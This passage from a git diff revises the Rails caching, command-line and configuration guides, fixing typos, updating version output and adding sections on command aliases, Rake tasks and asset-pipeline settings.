a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application. By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. @@ -104,7 +103,7 @@ INFO: Action caching runs in an after filter. Thus, invalid requests won't gener h4. Fragment Caching -Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently Rails provides a mechanism called Fragment Caching. +Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching. Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in. @@ -112,7 +111,7 @@ As an example, if you wanted to show all the orders placed on your website in re <ruby> <% Order.find_recent.each do |o| %> - <%= o.buyer.name %> bought <% o.product.name %> + <%= o.buyer.name %> bought <%= o.product.name %> <% end %> <% cache do %> @@ -162,17 +161,17 @@ class ProductSweeper < ActionController::Caching::Sweeper # If our sweeper detects that a Product was created call this def after_create(product) - expire_cache_for(product) + expire_cache_for(product) end # If our sweeper detects that a Product was updated call this def after_update(product) - expire_cache_for(product) + expire_cache_for(product) end # If our sweeper detects that a Product was deleted call this def after_destroy(product) - expire_cache_for(product) + expire_cache_for(product) end private @@ -189,7 +188,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -345,7 +344,7 @@ ActionController::Base.cache_store = MyCacheStore.new h4. Cache Keys -The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. ActiveRecord will generate keys based on the class name and record id. +The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id. You can use Hashes and Arrays of values as cache keys. @@ -382,6 +381,7 @@ class ProductsController < ApplicationController # anything. The default render checks for this using the parameters # used in the previous call to stale? and will automatically send a # :not_modified. So that's it, you're done. + end end </ruby> @@ -403,15 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index ad36c6532e..3f8643eca3 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -5,7 +5,7 @@ Rails comes with every command line tool you'll need to * Create a Rails application * Generate models, controllers, database migrations, and unit tests * Start a development server -* Mess with objects through an interactive shell +* Experiment with objects through an interactive shell * Profile and benchmark your new creation endprologue. @@ -51,21 +51,19 @@ $ rails new commandsapp Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. -INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing! - h4. +rails server+ -Let's try it! The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. +The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. +INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers. -Without any prodding of any kind, +rails server+ will run our new shiny Rails app: +With no further work, +rails server+ will run our new shiny Rails app: <shell> $ cd commandsapp $ rails server => Booting WEBrick -=> Rails 3.0.0 application starting in development on http://0.0.0.0:3000 +=> Rails 3.1.0 application starting in development on http://0.0.0.0:3000 => Call with -d to detach => Ctrl-C to shutdown server [2010-04-18 03:20:33] INFO WEBrick 1.3.1 @@ -75,13 +73,23 @@ $ rails server With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running. +You can also use the alias "s" to start the server: <tt>rails s</tt>. + +The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+. + +<shell> +$ rails server -e production -p 4000 +</shell> + h4. +rails generate+ -The +rails generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +rails generate+ by itself. Let's do that: +The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators: + +You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>. <shell> $ rails generate -Usage: rails generate generator [args] [options] +Usage: rails generate GENERATOR [args] [options] ... ... @@ -97,7 +105,7 @@ Rails: NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! -Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work, but not necessary for you to spend time writing. That's what we have computers for. +Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work. Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: @@ -146,7 +154,8 @@ $ rails generate controller Greetings hello create test/unit/helpers/greetings_helper_test.rb invoke assets create app/assets/javascripts/greetings.js - create app/assets/stylesheets/greetings.css + invoke css + create app/assets/stylesheets/greetings.css </shell> @@ -169,7 +178,7 @@ Then the view, to display our message (in +app/views/greetings/hello.html.erb+): <p><%= @message %></p> </html> -Deal. Go check it out in your browser. Fire up your server using +rails server+. +Fire up your server using +rails server+. <shell> $ rails server @@ -182,7 +191,7 @@ The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/gr INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. -Rails comes with a generator for data models too: +Rails comes with a generator for data models too. <shell> $ rails generate model @@ -237,7 +246,7 @@ dependency model create test/unit/high_score_test.rb create test/fixtures/high_scores.yml exists db/migrate - create db/migrate/20081217071914_create_high_scores.rb + create db/migrate/20100209025147_create_high_scores.rb </shell> The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything. @@ -267,11 +276,13 @@ h4. +rails console+ The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. +You can also use the alias "c" to invoke the console: <tt>rails c</tt>. + If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+. <shell> $ rails console --sandbox -Loading development environment in sandbox (Rails 3.0.0) +Loading development environment in sandbox (Rails 3.1.0) Any modifications you make will be rolled back on exit irb(main):001:0> </shell> @@ -280,13 +291,11 @@ h4. +rails dbconsole+ +rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. -h4. +rails plugin+ - -The +rails plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command +discover+, which sifts through repositories looking for plugins, or call +source+ to add a specific repository of plugins, or you can specify the plugin location directly. +You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>. -Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but instead, just set a field? +h4. +rails plugin+ -There is such a thing! The plugin we're installing is called +acts_as_paranoid+, and it lets models implement a +deleted_at+ column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things. +The +rails plugin+ command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too. <shell> $ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git @@ -304,9 +313,19 @@ h4. +rails runner+ $ rails runner "Model.long_running_method" </shell> +You can also use the alias "r" to invoke the runner: <tt>rails r</tt>. + +You can specify the environment in which the +runner+ command should operate using the +-e+ switch. + +<shell> +$ rails runner -e staging "Model.long_running_method" +</shell> + h4. +rails destroy+ -Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! +Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. + +You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. <shell> $ rails generate model Oops @@ -333,27 +352,136 @@ $ rails destroy model Oops notempty app </shell> -h4. +rake about+ +h3. Rake -Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. +Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. + +You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. + +<shell> +$ rake --tasks +(in /home/foobar/commandsapp) +rake db:abort_if_pending_migrations # Raises an error if there are pending migrations +rake db:charset # Retrieves the charset for the current environment's database +rake db:collation # Retrieves the collation for the current environment's database +rake db:create # Create the database defined in config/database.yml for the current Rails.env +... +... +rake tmp:pids:clear # Clears all files in tmp/pids +rake tmp:sessions:clear # Clears all files in tmp/sessions +rake tmp:sockets:clear # Clears all files in tmp/sockets +</shell> + +h4. +about+ + +<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. <shell> $ rake about About your application's environment Ruby version 1.8.7 (x86_64-linux) RubyGems version 1.3.6 -Rack version 1.1 -Rails version 3.0.0 -Active Record version 3.0.0 -Action Pack version 3.0.0 -Active Resource version 3.0.0 -Action Mailer version 3.0.0 -Active Support version 3.0.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Rack version 1.3 +Rails version 3.2.0.beta +JavaScript Runtime Node.js (V8) +Active Record version 3.2.0.beta +Action Pack version 3.2.0.beta +Active Resource version 3.2.0.beta +Action Mailer version 3.2.0.beta +Active Support version 3.2.0.beta +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /home/foobar/commandsapp Environment development +Database adapter sqlite3 +Database schema version 20110805173523 +</shell> + +h4. +assets+ + +You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. + +h4. +db+ + +The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. + +More information about migrations can be found in the "Migrations":migrations.html guide. + +h4. +doc+ + +The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. + +* +rake doc:app+ generates documentation for your application in +doc/app+. +* +rake doc:guides+ generates Rails guides in +doc/guides+. +* +rake doc:rails+ generates API documentation for Rails in +doc/api+. +* +rake doc:plugins+ generates API documentation for all the plugins installed in the application in +doc/plugins+. +* +rake doc:clobber_plugins+ removes the generated documentation for all plugins. + +h4. +notes+ + ++rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is only done in files with extension +.builder+, +.rb+, +.rxml+, +.rhtml+ and +.erb+ for both default and custom annotations. + +<shell> +$ rake notes +(in /home/foobar/commandsapp) +app/controllers/admin/users_controller.rb: + * [ 20] [TODO] any other way to do this? + * [132] [FIXME] high priority for next deploy + +app/model/school.rb: + * [ 13] [OPTIMIZE] refactor this code to make it faster + * [ 17] [FIXME] +</shell> + +If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name. + +<shell> +$ rake notes:fixme +(in /home/foobar/commandsapp) +app/controllers/admin/users_controller.rb: + * [132] high priority for next deploy + +app/model/school.rb: + * [ 17] </shell> +You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+. + +<shell> +$ rake notes:custom ANNOTATION=BUG +(in /home/foobar/commandsapp) +app/model/post.rb: + * [ 23] Have to fix this one before pushing! +</shell> + +NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. + +h4. +routes+ + ++rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. + +h4. +test+ + +INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html + +Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. + +h4. +tmp+ + +The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. + +The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: + +* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. +* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. +* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. +* +rake tmp:clear+ clears all the three: cache, sessions and sockets. + +h4. Miscellaneous + +* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. +* +rake secret+ will give you a pseudo-random key to use for your session secret. +* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about. + h3. The Rails Advanced Command Line More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. @@ -393,7 +521,7 @@ We had to create the *gitapp* directory and initialize an empty git repository b <shell> $ cat config/database.yml -# PostgreSQL. Versions 7.4 and 8.x are supported. +# PostgreSQL. Versions 8.2 and up are supported. # # Install the ruby-postgres driver: # gem install ruby-postgres @@ -414,11 +542,13 @@ development: ... </shell> -It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app. +It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. + +NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app. -h4. +server+ with Different Backends +h4(#different-servers). +server+ with Different Backends -Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). +Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html. @@ -437,157 +567,6 @@ Successfully installed mongrel-1.1.5 Installing RDoc documentation for mongrel-1.1.5... $ rails server mongrel => Booting Mongrel (use 'rails server webrick' to force WEBrick) -=> Rails 3.0.0 application starting on http://0.0.0.0:3000 +=> Rails 3.1.0 application starting on http://0.0.0.0:3000 ... </shell> - -h4. The Rails Generation: Generators - -INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here. - -Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file. - -The Rails generator by default looks in these places for available generators, where Rails.root is the root of your Rails application, like /home/foobar/commandsapp: - -* Rails.root/lib/generators -* Rails.root/vendor/generators -* Inside any plugin with a directory like "generators" or "rails_generators" -* ~/.rails/generators -* Inside any Gem you have installed with a name ending in "_generator" -* Inside any Gem installed with a "rails_generators" path, and a file ending in "_generator.rb" -* Finally, the builtin Rails generators (controller, model, mailer, etc.) - -Let's try the fourth option (in our home directory), which will be easy to clean up later: - -<shell> -$ mkdir -p ~/.rails/generators/tutorial_test/templates -$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb -$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb -</shell> - -We'll fill +tutorial_test_generator.rb+ out with: - -<ruby> -class TutorialTestGenerator < Rails::Generator::Base - def initialize(*runtime_args) - super(*runtime_args) - @tut_args = runtime_args - end - - def manifest - record do |m| - m.directory "public" - m.template "tutorial.erb", File.join("public", "tutorial.txt"), - :assigns => { :args => @tut_args } - end - end -end -</ruby> - -We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we: - -* Check there's a *public* directory. You bet there is. -* Run the ERB template called "tutorial.erb". -* Save it into "Rails.root/public/tutorial.txt". -* Pass in the arguments we saved through the +:assigns+ parameter. - -Next we'll build the template: - -<shell> -$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb -I'm a template! - -I got assigned some args: -<%= require 'pp'; PP.pp(args, "") %> -</shell> - -Then we'll make sure it got included in the list of available generators: - -<shell> -$ rails generate -... -... -Installed Generators - User: tutorial_test -</shell> - -SWEET! Now let's generate some text, yeah! - -<shell> -$ rails generate tutorial_test arg1 arg2 arg3 - exists public - create public/tutorial.txt -</shell> - -And the result: - -<shell> -$ cat public/tutorial.txt -I'm a template! - -I got assigned some args: -[["arg1", "arg2", "arg3"], - {:collision=>:ask, - :quiet=>false, - :generator=>"tutorial_test", - :command=>:create}] -</shell> - -Tada! - -h4. Rake is Ruby Make - -Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. - -You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. - -<shell> -$ rake --tasks -(in /home/foobar/commandsapp) -rake db:abort_if_pending_migrations # Raises an error if there are pending migrations -rake db:charset # Retrieves the charset for the current environment's database -rake db:collation # Retrieves the collation for the current environment's database -rake db:create # Create the database defined in config/database.yml for the current Rails.env -... -... -rake tmp:pids:clear # Clears all files in tmp/pids -rake tmp:sessions:clear # Clears all files in tmp/sessions -rake tmp:sockets:clear # Clears all files in tmp/sockets -</shell> - -h5. +db:+ Database - -The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. - -h5. +doc:+ Documentation - -If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. - -h5. +notes:+ Code note enumeration - -These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them. - -h5. +test:+ Rails tests - -INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html - -Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. - -The +test:+ namespace helps in running the different tests you will (hopefully!) write. - -h5. +time:+ Timezones - -You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life. - -h5. +tmp:+ Temporary files - -The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry. - -h5. Miscellaneous Tasks - - +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. - - +rake secret+ will give you a pseudo-random key to use for your session secret. - - +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. - diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index fbe3d46367..bb494fbd33 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -18,7 +18,7 @@ Rails offers four standard spots to place initialization code: h3. Running Code Before Rails -In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in your +config/application.rb+. +In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+. h3. Configuring Rails Components @@ -40,7 +40,7 @@ Rails will use that particular setting to configure Active Record. h4. Rails General Configuration -* +config.after_initialize+ takes a block which will be ran _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Useful for configuring values set up by other initializers: +* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: <ruby> config.after_initialize do @@ -52,17 +52,19 @@ end * +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+. -* +config.asset_path+ can take a callable, a string, or be +nil+. Default is +nil+. If set, this configuration parameter let's you decorate asset paths. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. *This option is ignored if the asset pipeline is enabled, which is by default*. Shorter version of +config.action_controller.asset_path+. +* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+. <ruby> config.asset_path = proc { |path| "/blog/public#{path}" } </ruby> +NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default. + * +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array. * +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+. -* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to true in development mode, and false in test and production modes. Can also be enabled with +threadsafe!+. +* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+. * +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+. @@ -84,11 +86,11 @@ config.asset_path = proc { |path| "/blog/public#{path}" } * +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+. -* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. +* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. -* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":configuring-middleware section below. +* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below. -* +config.plugins+ accepts the list of plugins to load. If this is set to +nil+, default, all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option let's you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them. +* +config.plugins+ accepts the list of plugins to load. The default is +nil+ in which case all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them. * +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled. @@ -96,9 +98,9 @@ config.asset_path = proc { |path| "/blog/public#{path}" } * +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+. -* +config.serve_static_assets+ configures Rails to serve static assets. Defaults to true, but in the production environment is turned off. The server software used to run the application should be used to serve the assets instead. +* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. -* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+, default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified like so: +* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: <ruby> config.session_store :my_custom_store @@ -114,52 +116,85 @@ WARNING: Threadsafe operation is incompatible with the normal workings of develo * +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments. +h4. Configuring Assets + +Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful. + * +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+. +* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. + +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. + +* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. + +* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. + +* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run. + +* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. + +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. + +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. + +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. + +* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. + +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. + + h4. Configuring Generators Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block: <ruby> - config.generators do |g| - g.orm :active_record - g.test_framework :test_unit - end +config.generators do |g| + g.orm :active_record + g.test_framework :test_unit +end </ruby> The full set of methods that can be used in this block are as follows: -* +force_plural+ allows pluralized model names. Defaults to _false_. -* +helper+ defines whether or not to generate helpers. Defaults to _true_. -* +orm+ defines which orm to use. Defaults to _nil_, so will use Active Record by default. -* +integration_tool+ defines which integration tool to use. Defaults to _nil_. -* +performance_tool+ defines which performance tool to use. Defaults to _nil_. +* +assets+ allows to create assets on generating a scaffold. Defaults to +true+. +* +force_plural+ allows pluralized model names. Defaults to +false+. +* +helper+ defines whether or not to generate helpers. Defaults to +true+. +* +integration_tool+ defines which integration tool to use. Defaults to +nil+. +* +javascripts+ turns on the hook for javascripts in generators. Used in Rails for when the +scaffold+ generator is ran. Defaults to +true+. +* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+. +* +orm+ defines which orm to 